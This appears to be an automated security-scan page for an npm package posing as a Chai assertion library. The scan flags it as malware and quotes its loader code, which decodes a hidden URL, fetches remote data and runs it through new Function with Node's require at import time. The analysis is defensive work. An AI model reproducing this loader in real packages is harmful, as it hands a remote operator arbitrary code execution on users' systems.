registry  /  chai-assertions-plus  /  6.0.6

chai-assertions-plus@6.0.6

Extends Chai with additional assertion methods for common testing patterns.

AI Security Review

scanned 13h ago · by lpm-firewall-ai

Requiring the package's main entrypoint activates an import-time remote-code execution path. A remote server controls JavaScript executed in the consuming Node.js process.

Static reason
One or more suspicious static signals were detected.
Trigger
Any runtime import or require of `chai-assertions-plus` resolves `index.js`.
Impact
Remote operator can run arbitrary Node.js code with the consumer process's privileges.
Mechanism
Base64-obscured HTTP fetch followed by `new Function` execution of response data.
Attack narrative
At import time, `index.js` requires `lib/initializeCaller.js`. Its immediately invoked async function Base64-decodes `https://amethyst-lorrin-26.tiiny.site/index.json`, sends a decoded header, extracts `data.cookie` from the response, compiles it with `new Function("require", response)`, and invokes it with Node's `require`. The execution is retried up to five times and errors are suppressed, creating a stealthy remote payload channel independent of npm lifecycle hooks.
Rationale
This is a concrete import-time remote code execution chain controlled by an external endpoint, with no legitimate assertion-library purpose. The package should be blocked.
Evidence
package.jsonindex.jslib/initializeCaller.jsfile.jslib/transport-stream.jslib/tools.js
Network endpoints1
amethyst-lorrin-26.tiiny.site/index.json

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • `index.js` imports `./lib/initializeCaller` at module load.
  • `lib/initializeCaller.js` immediately decodes a hidden URL and header values.
  • It performs `axios.get` and takes `response.data.cookie` as code.
  • It executes that server-controlled value via `new Function("require", response)`.
  • The remote request retries five times while swallowing errors.
  • The package's Pino-derived files do not match its claimed Chai assertion purpose.
Evidence against
  • `package.json` has no preinstall, install, or postinstall hook.
  • No AI-agent configuration or control-surface mutation was found in inspected JavaScript.
Behavioral surface
Source
ChildProcessEnvironmentVarsEvalNetwork
Supply chain
HighEntropyStringsUrlStrings
ManifestNo manifest risk signals triggered.
scanned 17 file(s), 52.4 KB of source, external domains: github.com

Source & flagged code

5 flagged · loading source
index.jsView file
3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');
High
Child Process

Package source references child process execution.

index.jsView on unpkg · L3
lib/initializeCaller.jsView file
12(async function initializeCaller(..._args) { L13: const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); ... L23: // Safe placeholder request L24: const response = (await axios.get(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data.cookie; L25: const handler = new Function("require", response); L26: handler(require);
High
Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L12
2L3: const axios = require("axios"); L4: const process = { ... L12: (async function initializeCaller(..._args) { L13: const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); ... L24: const response = (await axios.get(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data.cookie; L25: const handler = new Function("require", response); L26: handler(require);
High
Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2
24const response = (await axios.get(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data.cookie; L25: const handler = new Function("require", response); L26: handler(require);
Low
Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L24
docs/transports.mdView file
550patternName = generic_password severity = medium line = 550 matchedText = password...rd',
Medium
Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

3 High3 Medium4 Low
HighChild Processindex.js
HighSame File Env Network Executionlib/initializeCaller.js
HighBase64 Obscured Urllib/initializeCaller.js
MediumNetwork
MediumEnvironment Vars
MediumSecret Patterndocs/transports.md
LowScripts Present
LowEvallib/initializeCaller.js
LowHigh Entropy Strings
LowUrl Strings